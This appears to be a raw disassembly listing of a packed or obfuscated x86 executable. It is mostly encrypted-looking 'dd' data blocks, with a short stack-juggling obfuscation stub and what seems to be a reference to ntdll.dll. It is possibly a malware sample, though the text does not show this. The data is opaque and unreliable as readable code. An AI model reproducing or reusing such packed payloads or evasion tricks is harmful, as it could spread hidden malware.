		dd 479E902Fh, 4924FB82h, 993D0DAAh, 59F31996h, 0DE6CC4F5h
		dd 0A0FF0241h, 7E28C72Ch, 935389F3h, 2005FC69h,	7D000000h
		dd 9B22A73Eh, 0F4AE1E14h, 0AA43C1C4h, 2CB24499h, 7CD3B1C7h
		dd 6980DA12h, 0C97CFCh,	1B060000h, 0DDB239DCh, 70DA730Eh
		dd 757C77D0h, 911431CEh, 0C87DCB12h, 8020A63Eh,	0CDDB8C6Bh
		dd 72D03998h, 0C82BC446h, 0E86D0CAFh, 0F617E66Dh, 856A3EC8h
		dd 1B2FC86Bh, 1D34F99Dh, 0AB3EC8F2h, 0CDA229CCh, 0BF5E02A1h
		dd 19554F28h, 0B75FF87Ah, 9F24A722h, 0C4F5D98Dh, 449E85Eh
		dd 29B422Fh, 0EF76A848h, 5DCC53DAh, 143D13B2h, 5920EF76h
		dd 0BE4A0FB2h, 17E15C2Bh, 0C21B9858h, 9DCD0F2Dh, 0F005A927h
		dd 848E6209h, 43C20Ah, 21FAB2Fh, 1A5A0000h, 0EB0BE07Fh
		dd 1C56AD4Ch, 0EEFDD275h, 521FB453h, 33690CABh,	8D2CD39Eh
		dd 38D77A76h, 9433D2A3h, 0EA8D303Fh, 7D65DF8h, 5A38E95Eh
		dd 0DE1BB191h, 34439837h, 3E68EE91h, 149B22A7h,	0C4F4AE1Eh
		dd 99AA43C1h, 0C72CB244h, 127CD3B1h, 0FC6980DAh, 0CE7Ch
		dd 0DC1B0600h, 1A579C39h, 0E66BDA73h, 0C87D9069h, 0D259EF3Eh
		dd 0C87D8C4Dh, 0C165E33Eh, 0C879C57Ch, 0FAF4033Eh
		dd 3DA59F9h, 5EC13781h,	7DCD6AE8h, 68875CFBh, 57EE28C5h
		dd 0C3C34564h, 6AF15D23h, 37E614E5h, 5BDD6BC1h,	0C5515BD8h
		dd 7C0A3B0Ah, 309429DDh, 2C072AB3h, 41BF45C7h, 0A20B35BAh
		dd 7E0C3D12h, 0AA5128F7h, 6209F007h, 0C38D928Eh, 0C119F643h
		dd 151h, 22C5608Ch, 5F02A1CDh, 2CCB7288h, 56F994D7h, 2ED17881h
		dd 4138994Bh, 18E0F79Ah, 0F0FDD275h, 1E59AE51h,	6BEADC7Bh
		dd 0E95915E4h, 0BF836C38h, 18E0DE1Bh, 0F072D875h, 0BFE4DF6Dh
		dd 0D8325E4Ch, 0F502D938h, 7B37C64Dh, 0B74A3EC8h, 0C87BA138h
		dd 0C84AC03Eh, 1B9FA74Ah, 579C39DCh, 20D27518h,	26AD3099h
		dd 0C4F54970h, 31FE8503h, 4104A346h, 3AFDCEBBh,	1CBCC446h
		dd 6805A8C7h, 2BB217AEh, 0BD6622A6h, 15A1A15Eh,	160CAC71h
		dd 4E233D0Fh, 2BFB7D24h, 43C601FFh, 0B29644C9h,	0ED000000h
		dd 2EC564FFh, 0E9FEA140h, 30C76A11h, 0F209A843h, 9CC16007h
		dd 7AECB06h, 0C2659368h, 0EADC81Fh, 0B85B946Bh,	0A11EA519h
		dd 38E95858h, 3ECC7637h, 149B22A7h, 0C4EB710Ch,	0E1AE35D3h
		dd 39D27615h, 931ABDBAh, 7710B3BCh, 55D3727Ch, 898851CEh
		dd 61E7C716h, 6E895EBDh, 5DDB7A74h, 7CD83C0h, 0E5494B26h
		dd 47EA058Ah, 3BC241C4h, 5643071Bh, 1AF150F0h, 569D3ADDh
		dd 1CF37A15h, 79205953h, 4CEC6EDCh, 62ED17F3h, 0EC6F12DDh
		dd 9835D817h, 1BD726ADh, 1CAA4307h, 0C41BFA9Eh,	6B6F08ABh
		dd 0Dh,	17E66DE8h, 6A43071Bh, 86F63CDCh, 3ED91BBCh, 822552A1h
		dd 40DF0EE5h, 81244CA7h, 3BE20FE4h, 812851A2h, 41DC0FE4h
		dd 7C234FA4h, 47E610E3h, 0EC8124AEh, 4,	89243489h, 4C681E6h
		dd 83000000h, 348704EEh, 89525C24h, 4C281E2h, 83000000h
		dd 148704EAh, 0C895C24h, 54BE6824h, 3C890000h, 0D026824h
		dd 0C8B0621h, 4C48324h,	243C8B54h, 8304C483h, 148904ECh
		dd 89CA8924h, 8B5A0857h, 8956243Ch, 4C681E6h, 83000000h
		dd 348704C6h, 0C8B5C24h, 0E0895024h, 405h, 4C08300h, 5C240487h
		dd 0FA57A7E9h, 136F6AFFh, 51711C12h, 2605B898h,	0C5030621h
		dd 9D85C650h, 47061B23h, 38172568h, 0F9B5FFCFh,	8D061B2Bh
		dd 1B391F85h, 8BD0FF06h, 5D858DD8h, 50061B14h, 10468h
		dd 0C6D3FF00h, 1B239D85h, 0BF685306h, 0FF8307F8h, 1B2BF9B5h
		dd 1F858D06h, 0FF061B39h, 0E38589D0h, 8306210Ah, 1B1335BDh
		dd 840F0006h, 0Bh, 24599D8Bh, 5E9061Bh,	0BB000000h, 0
		dd 10068h, 0E7B58D00h, 5606210Ah, 0E195FF53h, 8D061B32h
		dd 210AE7B5h, 0E9F00306h, 1, 5C3E804Eh,	9840Fh,	3E800000h
		dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 6210AE7h,	0E395FF50h
		dd 5806210Ah, 97E1E0FFh, 7A4606CCh, 0CD86106Bh,	7F7470F5h
		dd 0D2C70F51h, 557B4911h, 0B8723D07h, 400F2E03h, 8D8D07CFh
		dd 6212819h, 2880Fh, 0C78B0000h, 24298D89h, 6A061Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 21DDFC3h, 5DB7071Dh,	6585C783h, 60061B07h, 8900006Ah
		dd 1B214185h, 0D185C706h, 61B13h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 1004C352h, 12E80F1Ch, 0D0000000h, 54232FC9h,	30C4325Fh
		dd 0B4D215A8h, 812D4E2Bh, 0F98D896Fh, 5A061B12h, 5DB5FFh
		dd 0D98A061Bh, 2F8595FFh, 10E8061Bh, 0D4000000h, 0EC3A5081h
		dd 0D4807909h, 0EFFDCD74h, 80EA8B5Dh, 6A5F40CBh, 595FF00h
		dd 8B061B22h, 8839EBC0h, 2D36D024h, 8B1C2C79h, 0D0CB9C6Bh
		dd 14B54477h, 605376A6h, 75489DB2h, 234ECD7h, 0C1407D8Eh
		dd 9248442Ch, 75257F22h, 2B49C7A2h, 500A5ACDh, 3866570Dh
		dd 86FD1ACFh, 8E8h, 6B5BBA00h, 9194F4CCh, 0D4D8818Eh, 5B71C98Dh
		dd 0D0C08166h, 17C381A6h, 8B00005Bh, 169CBFF2h,	8BF80000h
		dd 5DBD8913h, 81061B12h, 0F314F6EAh, 0F18B6667h, 3F64EA81h
		dd 0FE96FA8h, 0BA000000h, 521991Ch, 0EABD592Bh,	9D0E8073h
		dd 0F281C6CCh, 5CB92BCEh, 1F2D8D29h, 0B852061Bh, 2632147Bh
		dd 0B529038Fh, 61B18E1h, 8B02EB83h, 1B0AD985h, 664B4B06h
		dd 8335C0B8h, 850F01EFh, 0Dh, 27E9h, 4E708900h,	7EBF6664h
		dd 0A8F0F0Fh, 60000000h, 9D8BDAB2h, 61B2B1Dh, 0FF81E961h
		dd 6BFEFFFFh, 37D431A1h, 697B34B3h, 29E98D8Dh, 6A0621h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 29BF07C3h, 1B2AD59Dh, 298D8906h, 0BB061B24h,	7E4E697Fh
		dd 76585C7h, 6624061Bh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 5BEE9FC3h, 0C3BBCF3Fh
		dd 0F582182h, 85C7FAB7h, 61B13D1h, 0
		dd 0FFF2BF0Fh, 1B249DB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0DEAE1156h
		dd 0FFFBCD32h, 1B2F8595h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0ABEAC504h
		dd 0E8AAB53Ah, 12h, 79B583CBh, 0B4E20B64h, 0CF44413Bh
		dd 0E5523A76h, 6A5861E4h, 595FF00h, 8B061B22h, 6A68EBC0h
		dd 1BA806C0h, 0AEF4DE18h, 0BA968ACBh, 52532820h, 0B0ADCDA4h
		dd 0C240E88Dh, 0A031D557h, 24ECE74Bh, 4AAA9B84h, 5D2F2338h
		dd 8659824Bh, 51028955h, 0D3D977CBh, 2EEC9182h,	0CE28D55Ch
		dd 0FF4C8E83h, 5BF03AFCh, 51B2CCA9h, 0C40E09DBh, 2E818A0Ch
		dd 0F10A859Fh, 3CF64B81h, 9E612909h, 7C44A0E4h,	9189E25Eh
		dd 0E8CDD929h, 10h, 0A5CF524h, 0F9B4722h, 0A78C8511h, 0FD0EA0CEh
		dd 176D9D31h, 0F5E061Bh, 680h, 0F9BD8B00h, 81061B12h, 693AC6h
		dd 850F00h, 0BB000000h,	0
		dd 34FF0DB2h, 5CB86633h, 9D01593Fh, 61B1445h, 0AC20C181h
		dd 958B42E5h, 61B19F5h,	8019F181h, 0BD8B1A03h, 61B29F9h
		dd 57B3E981h, 60510CB8h, 89D18B66h, 1B0C8585h, 48F6106h
		dd 0E952F91Eh, 9, 3D5D41F2h, 40991D34h,	0EB835A4Dh, 810CB204h
		dd 0FF9784FBh, 18850FFFh, 8B000000h, 1B007195h,	24E906h
		dd 0D3E70000h, 0CAF7510h, 0B1C93A87h, 0E920F2BDh, 0FFFFFF86h
		dd 2366A036h, 1E017CBDh, 5721FB76h, 7BD01F2Ah, 12E827C5h
		dd 0F1000000h, 8B4198D2h, 4CA2581Eh, 94AE27D3h,	94B2E113h
		dd 85895807h, 61B2535h,	5A3AC081h, 0F62B0000h, 0FE9h, 20DA1A00h
		dd 0EC3E708h, 0E6A55C5Eh, 0F68CFE8Ch, 330148Bh,	1B2D31BDh
		dd 0C0F28106h, 1183AF7h, 1B229D9Dh, 6C28106h, 6634CA7Fh
		dd 2EECC981h, 23A8F281h, 0BF6661A7h, 0E9528224h, 7, 98B5205Dh
		dd 8F578F9Ah, 0C3813004h, 3EABEFF5h, 31EF8166h,	4EE8353h
		dd 81CEB70Fh, 0FFA680FEh, 20850FFFh, 56000000h,	22BD8D8Bh
		dd 0E95F061Bh, 25h, 50B333F2h, 709E15FCh, 896288Dh, 2AF7FF0Dh
		dd 89EFC43Fh, 1B248D8Dh, 0FF7EE906h, 581FFFFFh,	0FF6DA5EDh
		dd 9026EB17h, 0EC33B61Bh, 6E558EAFh, 6C6C6474h,	6C6C642Eh
		dd 46218800h, 0D25D3407h, 0C4EC64A3h, 9, 0
		dd 65AE900h, 2B680000h,	0E906212Dh, 0FFFA5210h,	212DFE68h
		dd 5206E906h, 0C768FFFAh, 0E906212Eh, 0FFFA51FCh, 212F7A68h
		dd 51F2E906h, 3468FFFAh, 0E9062130h, 0FFFA51E8h, 21311E68h
		dd 51DEE906h, 0A2D2FFFAh, 63936807h, 0A4CE25C4h, 66855AFDh
		dd 9AD72CCBh, 0EBF154F3h, 0C5640BE6h, 9F422Eh, 0CC6B0AEBh
		dd 0F2953837h, 3FBE45C0h, 5238E951h, 2502E959h,	58000000h
		dd 9C39DC1Bh, 0D2751857h, 0C87D884Dh, 0C867863Eh, 0D96EB745h
		dd 0EA93CC12h, 0D662E746h, 0C74EE6E6h, 85CB6BE7h, 9B22A73Eh
		dd 0F5714614h, 12AB19C4h, 2C89AC31h, 0A4AB59C7h, 69A6023Ah
		dd 0FDF5CAFCh, 4EF9B256h, 89000002h, 3807519Ch,	902B483Eh
		dd 38D553F7h, 25BC6E12h, 3CA221A4h, 0CFC4F559h,	21CB4039h
		dd 4837D09h, 0A890CBDh,	0F1434570h, 65E07D0Bh, 0C8BF60D7h
		dd 0C96D9CD9h, 44C70257h, 3EBF44C1h, 51115321h,	53F0ABA5h
		dd 0CD4BE6A9h, 0F26B2429h, 58EEEB72h, 4EF1FED5h, 781B54ABh
		dd 79D607A8h, 7E5C3199h, 49Ah, 0C66904F0h, 3A64531h, 0C05F06ECh
		dd 0AAD482Bh, 0B255FCF5h, 0ADC40D8Fh, 648C6306h, 0ACC91EC1h
		dd 5A956A0Dh, 1FA618B7h, 0E95059A0h, 0CB773838h, 9C39DC1Bh
		dd 5FE6E37Ah, 0F5416AE0h, 4231FEC4h, 0D898F099h, 84060690h
		dd 83BF5FEBh, 561632F7h, 3BC2EC4Ch, 2C2925B4h, 4CCE3CC7h
		dd 4A94D7ADh, 42DB7675h, 0A325C4B1h, 0EFCC1103h, 516A5106h
		dd 20A3256Fh, 0B4DF1EA5h, 14B2C72Ch, 0CC32B174h, 5F3D1190h
		dd 0EB5BF0E9h, 3EA5BF81h, 149B22A7h, 9FDE9C46h,	0A428AB19h
		dd 0F7FBD28Dh, 3009ADC8h, 87333E15h, 0D81CF108h, 78FA906Bh
		dd 2A9F26D8h, 8C631CA3h, 82F691F9h, 6505B65Fh, 56DD5BBAh
		dd 2CCB6E89h, 21F598D7h, 0FEF40696h, 0C7CB0FA0h, 1D000003h
		dd 0BE15B44Fh, 996E11B0h, 0C017BA61h, 627918B3h, 2C51F097h
		dd 771E5B76h, 52F503D8h, 7E1D58AFh, 48EB04DBh, 118E35A9h
		dd 38E950C8h, 1BFCC6A7h, 7A9C39DCh, 0E05FE6E3h,	0C4F57136h
		dd 0E0836D42h, 0E7630347h, 2547C153h, 1FA139EBh, 0BB38BD80h
		dd 0C72C9F22h, 0F527C73Dh, 4DD25970h, 3D0FB396h, 5A0BE4C9h
		dd 96FD2097h, 0DC5EDCB0h, 0EB07DC59h, 204FA444h, 16E2FB78h
		dd 77DCD0Bh, 7F0289h, 0CD0B16F9h, 57A62D98h, 2ACD0B16h
		dd 9B7A1E9Ch, 5882B44h,	0A03F2Eh, 5F6AEF27h, 397F50DCh
		dd 33FE3DF1h, 0CD139093h, 9E373661h, 2836B91Ah,	601E52ABh
		dd 0B972DD3h, 1FA1B223h, 0AD37824Fh, 2FAB845Dh,	2FEh, 0DA7D1854h
		dd 0A74AE905h, 0E4832A50h, 9E41DC0Fh, 0E6893049h, 89706183h
		dd 0D0A83FE2h, 78758A2Dh, 0D6A136D9h, 0A3229433h, 0E953DD1Ch
		dd 7BBB438h, 9C39DC1Bh,	5FE6E37Ah, 0F5484EE0h, 4A321C4h
		dd 0E6817241h, 6F5D0149h, 175h,	0DD5E9CE9h, 35BA4188h
		dd 0C4F559C3h, 0EF8E5F54h, 7D76F456h, 73B93306h, 804990CCh
		dd 4A9476FDh, 7307C053h, 81A198C5h, 403A0FDBh, 0CC4EFC99h
		dd 6B5EE333h, 0B02C6BE8h, 422F3A65h, 922D3E34h,	3AD355F5h
		dd 0FDCD8702h, 3AB8F9C2h, 915E35B8h, 0BBB44BEEh, 0B3BCB6C1h
		dd 40109210h, 486847BDh, 4BD8028Bh, 0A1000002h,	429938D3h
		dd 0DDF29534h, 34CB6E15h, 0E6FD9C37h, 0A0C5640Bh, 0F39AD7FAh
		dd 0CE717F54h, 0FA99D42Bh, 0D4778057h, 7D028135h, 38E9527Ch
		dd 1BA81A13h, 7A9C39DCh, 0D95FE6E3h, 8CB67B4Eh,	0DB5E02CCh
		dd 0F535F654h, 3CDB69C4h, 89D02928h, 0BD38BD40h, 2D24A736h
		dd 0AD2CB3C7h, 0C4C72D24h, 0A040C646h, 1000259Bh, 15E0AF3Dh
		dd 0F056D276h, 239450FBh, 5095BFE0h, 9F6DF279h,	10A01CE0h
		dd 0A439DD7Ah, 95239E25h, 0F0939F2Bh, 0FCFD86CAh, 936005B8h
		dd 0AE2CD39Eh, 8FC8470Ah, 929A2428h, 0D5A271F4h, 0D5A09EDBh
		dd 2F1BB436h, 0FEF90EB1h, 2DD28B5Bh, 0E3ACE8AAh, 191F7h
		dd 6A05E700h, 0A74630C7h, 6007F308h, 0AE492AC1h, 56FDF40Bh
		dd 0C50C8EB3h, 8D6205ACh, 0CA21C063h, 966D0CABh, 9F13B659h
		dd 4D5E9F24h, 383138E9h, 2BDC1B8Ah, 9E062062h, 0F9961455h
		dd 0C9AAC81Dh, 37B9912Eh, 3F812FB4h, 0B48BC4F5h, 0CB7F18BBh
		dd 0F6992F2Bh, 22A73E30h, 3149169Bh, 7DFFFE85h,	0F4923EC8h
		dd 0CD71D976h, 0EB516188h, 38A00C4h, 1A0432Ch, 0CD6A0DEAh
		dd 4ED5F449h, 35852AD1h, 3CC33E3Dh, 0CD75D5BDh,	0D5B746CDh
		dd 3CCACD75h, 0AAA64AC0h, 0D5419817h, 0AA20CD75h, 0A1CEA528h
		dd 5FE461FEh, 0CD75D59Eh, 31D553F1h, 0D69C73EEh, 14B4962Fh
		dd 6A0DB0BFh, 1EB75A95h, 0DC6361F8h, 0CD75D51Dh, 0D154D674h
		dd 9B660B4Bh, 2DD149E5h, 7E37C39Ch, 0CD9030FFh,	484A3846h
		dd 0F9CD3B37h, 5DA75296h, 0A77B5F30h, 0FD000000h, 1EB554EFh
		dd 0F90EB150h, 20B75A01h, 0C219B853h, 0C7110B7h, 57FEFBD6h
		dd 0B25523B8h, 5EFDF80Fh, 0A84B24BBh, 0B12ED509h, 38E94C28h
		dd 3EDC6647h, 0C49B22A7h, 0E3660AA9h, 0EB51955Ch, 0DF0EE5C4h
		dd 0EA8D6B40h, 0E37C0A46h, 0C03FE710h, 0C716A939h, 0B04DF0FFh
		dd 2EAC1A9Ah, 0D87B748Bh, 0C8B1043Fh, 0EB3336F0h, 6D10DF64h
		dd 973A35CAh, 8F2E3F14h, 5BB454F6h, 37DA15EAh, 0F70CAC9Eh
		dd 4EBC59F4h, 234CD1A0h, 2EAC4F29h, 0CA7B748Bh,	276C79FCh
		dd 44E15FD7h, 0D96h, 0ED72EF00h, 0D7306EECh, 0DB610583h
		dd 0D91BBC86h, 2552A13Eh, 0DF0EE582h, 244CA740h, 0E20FE481h
		dd 2851A23Bh, 0DC0FE481h, 234FA441h, 0E610E37Ch, 6824AE47h
		dd 8E8h, 68240C89h, 59BAh, 68241489h, 598Ah, 68240489h
		dd 12Eh, 0B8240489h, 6212C49h, 6858C289h, 809h,	83242489h
		dd 58042404h, 8BB5352h,	315BA903h, 5B04245Ch, 8108408Fh
		dd 3080870h, 48B5BA9h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_53531C
; ---------------------------------------------------------------------------
		dd 5AD0580Ch, 2131EAB8h, 0FFC50306h, 62D34E0h, 6183D632h
		dd 655FA464h, 30248155h, 839C8006h, 94B50C0Ch, 0F3DB067Bh
		dd 0ADB73C2Ch, 6A54391Bh, 0DE206416h, 1D2ECB2Dh, 8D22985Ch
		dd 0AEE1E03Fh, 0FE86Dh,	11C70000h, 0EB768E0Dh, 0A63A22AFh
		dd 52496C0Ch, 0AB55F12h, 69B9C781h, 0A1B50000h,	12E8D233h
		dd 92000000h, 0F20BD415h, 88C44A2Eh, 0E0A8358Ah, 522E0A40h
		dd 348B5B71h, 0F5C98117h, 815532F5h, 21FFF3EEh,	1890F63h
		dd 0F8000000h, 3507EE81h, 5E95B14h, 30000000h, 0C6AD3314h
		dd 0D33DEE81h, 89F92B62h, 8E91734h, 0C7000000h,	565A01A0h
		dd 0E9F7E3A3h, 0Ch, 6BC8DAB2h, 33948E3Bh, 1E8942Dh, 0FC04EA83h
		dd 96D8FA81h, 850FFFFFh, 0FFFFFFA2h, 0EBD98B66h, 8, 0E7F71D00h
		dd 512E907h, 7B680000h,	0E9062134h, 0FFFA4AD0h,	2134F168h
		dd 4AC6E906h, 9C68FFFAh, 0E9062136h, 0FFFA4ABCh, 8629C4B0h
		dd 43E68571h, 801FC6ACh, 4AED886Bh, 7215BCB5h, 0ED04CDCFh
		dd 244CA346h, 0EC09DE81h, 1A55AA4Dh, 5FE6D877h,	0E94E19E0h
		dd 0BB77838h, 0B437DE1Bh, 966B12DFh, 0FB14B45Bh, 0DF17BE4Ah
		dd 0BC8A36CDh, 5A8C71Ch, 0A029B062h, 0F188961Dh, 0BD4BC4F5h
		dd 0F1DE2320h, 5D47C72Dh, 3E30A812h, 4626FC6Ah,	9C000003h
		dd 0B659966Dh, 0F98D3119h, 9D229FF7h, 3EC87D5Ch, 0CA139033h
		dd 0A53EC87Dh, 6011A11Fh, 0C0AC48B4h, 358C7E22h, 37421194h
		dd 0B353F790h, 4D1EF570h, 0FC9FD9B2h, 0A261D75Ch, 54F2C4F5h
		dd 4C9EE45Fh, 16ABC44Bh, 21B330B3h, 3A387521h, 5EE333CCh
		dd 776BE86Bh, 13291E2h,	0AA34632h, 2B4DBD32h, 0CF516BB3h
		dd 427CC643h, 0A040F4B2h, 5BA221A4h, 36CE824Ah,	3DCB52D0h
		dd 1F032C8Bh, 6EB1551Eh, 18D165F3h, 50376899h, 5A08BCA0h
		dd 4AEE6CF0h, 9417BAB5h, 690DB0BFh, 973A35CAh, 4FC7E6C7h
		dd 9B3FD040h, 335h, 9639D4A0h, 0F3963541h, 0D06F16DCh
		dd 0FA9D383Bh, 0C2650CE5h, 9DD4FD9Fh, 747C53F6h, 9CD92ED1h
		dd 6A855AFDh, 0FB628C7h, 0E9494990h, 7B472838h,	9B22A73Eh
		dd 0EAA80114h, 0EB72D8C4h, 9336DD14h, 0A89353Ch, 0C716B0F3h
		dd 6D6CF38Eh, 4C716B0h,	0E9860486h, 16B0865Ah, 0B646D2C7h
		dd 59F8F5A4h, 0BCFE8EBCh, 0C91EC22Dh, 4C3B0BAEh, 5A49DB8Ah
		dd 2BF05D5h, 4A2A0000h,	0FBFB10AFh, 4C26BD5Ch, 0FEED02A5h
		dd 422FC463h, 4359FC9Bh, 1DBC638Eh, 6807AAC6h, 24C36293h
		dd 5AFDA0CFh, 9766ED68h, 0EA38E949h, 0A73E4101h, 0AEC49B22h
		dd 5FE46707h, 0C4EAA85Ah, 4BB9A226h, 419FB0AFh,	16223BC2h
		dd 72F056C7h, 5BF492CEh, 162215E8h, 44E313C7h, 8E2D48ABh
		dd 0B5BC6AF1h, 9E2AA187h, 27AF712h, 36E08042h, 303BB11Bh
		dd 0E93FC63h, 160F4891h, 0FCA3CEC7h, 0FC830A80h, 0C7160FFDh
		dd 5952F694h, 199h, 0E2DC1BE9h,	6FF67413h, 0B231D5A0h
		dd 3EC87D2Bh, 9E42C046h, 0DE816E85h, 5272C73Bh,	0C87D0CCDh
		dd 63E5633Eh, 51D765E0h, 2CD4B51Ch, 0BD3CC34Ah,	0D43EC831h
		dd 7F8D9236h, 0F0C4F515h, 5896E94Ch, 2DD202DBh,	5BE75DC7h
		dd 6D84F069h, 42C144C6h, 0C72D75BBh, 55F270D6h,	2D75EBEEh
		dd 0E76A14C7h, 69BE477Dh, 3311FCh, 3E710000h, 149B22A7h
		dd 0C4F4AE1Eh, 21B837BAh, 40C72CB2h, 9C2A26CAh,	0B2BD4003h
		dd 0BC6AC72Ch, 2DF682B5h, 0F78953FDh, 5B918B2Bh, 0FDFC68E2h
		dd 0BAh, 68DF6D85h, 0EAB1E03Fh,	0B35AA320h, 0CF353EC8h
		dd 1F58AD51h, 0E910E37Ch, 214EA542h, 0E512E17Eh, 0F8CAA734h
		dd 9ED460FBh, 0F79A187Bh, 0C8C78F30h, 8B2E493Eh, 5C9A69ECh
		dd 0C5A23BB8h, 47BD3EC8h, 6EF325C9h, 0A946ED04h, 179C1FA1h
		dd 0C4F6618Ch, 0DA7D7B48h, 0ED690D3Dh, 0D251D457h, 0C72B680Bh
		dd 0FD40E066h, 5A44B26h, 0E2857340h, 1FC2AE45h,	11E8FDA1h
		dd 9519966Ah, 0A26B49E6h, 11438h, 0D26D7F00h, 0FF9ED82Fh
		dd 0C86F8B60h, 6A1D229h, 0BE658C63h, 2DA4361Bh,	0E5FA9D44h
		dd 32C9680Bh, 0EE05A443h, 7BB5E01h, 4BF6078Ch, 0A08938E9h
		dd 37DE1B22h, 91344398h, 0DC1B68EEh, 0DB7413E2h, 1CE4AC61h
		dd 0E86AF56Ch, 4926CD6Ah, 0CA0F03A6h, 0D7F77CFFh, 48C4F484h
		dd 8D643BC2h, 0F9FC43E6h, 37C72C97h, 0DDF29538h, 0F7025F14h
		dd 8C22F666h, 0FFD4710Eh, 41AF4FEEh, 99h, 22A73E97h, 0A805149Bh
		dd 6EDCC4EAh, 0AD5522D1h, 16B0D726h, 9E1CAAC7h,	680BE4FBh
		dd 0C01A74CFh, 0ED68C0DFh, 9B34DB16h, 0BCFFCCA1h, 6CEEDA38h
		dd 6F936AE9h, 58EEC6DFh, 7E034EB8h, 0D42BCE71h,	0E65FF89Bh
		dd 9EFC2662h, 7E22AC9Ch, 56EF8A69h, 2FB431B4h, 0C6DFB1AEh
		dd 133853B1h, 68660F0h,	1B36E080h, 13B65996h, 0A102B3BCh
		dd 5400C7F3h, 0E9EBF271h, 86C6DFh, 73670082h, 19h, 0F9F703D0h
		dd 44E15FFAh, 86DC6206h, 6508F0BFh, 0CFA982C8h,	17B7932Ch
		dd 3ED91B11h, 822552A1h, 40DF0EE5h, 81244CA7h, 3BE20FE4h
		dd 812851A2h, 41DC0FE4h, 7C234FA4h, 47E610E3h, 895024AEh
		dd 405E0h, 0E8830000h, 24043304h, 33240431h, 535C2404h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h,	65306824h
		dd 14890000h, 41C36824h, 3C890000h, 336BBF24h, 0F9890621h
		dd 4EC835Fh, 83242489h,	5A042404h, 72B85053h, 0C16BAE7Eh
		dd 54004E0h, 6C1E6D7Eh,	140DD0F7h, 51F7D6Ah, 20021494h
		dd 158C389h, 5B0B89D3h,	5A2434FFh, 4C481h, 34FF0000h, 0C4835924h
		dd 45CAE904h, 7D6FFFFAh, 2137D5B8h, 0FFC50306h,	0D8EB2FE0h
		dd 0E5751303h, 1A40D269h, 533D523Dh, 4BE20D15h,	4691D15Bh
		dd 5E424E10h, 0FB98FB24h, 0AD3995Eh, 0FEA2C671h, 3576BD04h
		dd 8B1E12Fh, 8E8D8D5Fh,	6A062139h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 61BBC352h
		dd 0C2C81B78h, 95318F8Fh, 61B0B49h, 24298D89h, 6A061Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 3A13B7C3h, 7C54424Dh, 258589CEh, 0C7061B11h,	1B076585h
		dd 70B006h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 2C1F16B7h, 0D185C78Ah, 61B13h, 56000000h
		dd 71EB8166h, 89575AA1h, 1B24CDB5h, 0B5FF5A06h,	61B31BDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 36C35343h
		dd 8595FF44h, 6A061B2Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0E893C357h,	7338FA16h
		dd 0EB316Eh, 95FF006Ah,	61B2205h, 3BEBC08Bh, 27FD5592h
		dd 569B5028h, 0E71C6802h, 502408E7h, 0A9C107C7h, 4C31C9BAh
		dd 8B151308h, 31210DA2h, 26F6E554h, 0B9DA4DC2h,	0E33AE10Bh
		dd 0B3363EFCh, 2891C685h, 9E1E59AAh, 8D08EC0Bh,	213A5A8Dh
		dd 0A0DE8106h, 8906E50Eh, 1B24298Dh, 6585C706h,	40061B07h
		dd 0E800006Bh, 14h, 0E4DAA6F0h,	37EAD92Ch, 0E96427F9h
		dd 0DD625378h, 56538C51h, 0D185C75Ah, 61B13h, 9000000h
		dd 1B23B5BDh, 0A5B5FF06h, 6A061B03h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 968C350h
		dd 90B6CCEDh, 95FFC761h, 61B2F85h, 860F7BB0h, 8, 8D9D8B56h
		dd 5E061B2Ah, 95FF006Ah, 61B2205h, 2CEBC08Bh, 2F2D74Bh
		dd 5FEAB1ECh, 3D88C08h,	4F245543h, 1A9B1498h, 240431F1h
		dd 0E42DC31Ch, 74C43629h, 1A453E7Dh, 4FE9F5FBh,	5CE91017h
		dd 10E8h, 8FC2C800h, 92EAF28Fh,	337A209Ch, 0FC4627BBh
		dd 0DD8589B3h, 59061B0Ah, 0FDAB460h, 683h, 2DBD2900h, 61061B12h
		dd 649FC181h, 860F0000h, 6, 19C98589h, 0F633061Bh, 0A5BA6660h
		dd 0F38B661Dh, 0E34FF61h, 2415850Bh, 605B061Bh,	4D858951h
		dd 5B061B2Dh, 61F98B66h, 0CCD5F381h, 958B2910h,	61B29B9h
		dd 4CD4C381h, 9D8901A6h, 61B117Dh, 7E4BC381h, 0BF0F0EB0h
		dd 311C89C2h, 0AD77E081h, 0CE83CC5h, 0E0000000h, 30E34E49h
		dd 7CDDCFF1h, 0B4921221h, 0EE815A61h, 0A0C59EDh, 2D459589h
		dd 0C681061Bh, 0A0C59E9h, 1298D09h, 0FE81061Bh,	0FFFF9C20h
		dd 0FF87850Fh, 958BFFFFh, 61B0E11h, 0B13EE853h,	0F332565Dh
		dd 0F30666ACh, 0B1325655h, 0B13256ABh, 0E977F2D5h, 0E8AF18EAh
		dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
		dd 0B132545Dh, 0B63581AEh, 0A9325457h, 0A73246ABh, 37327AD5h
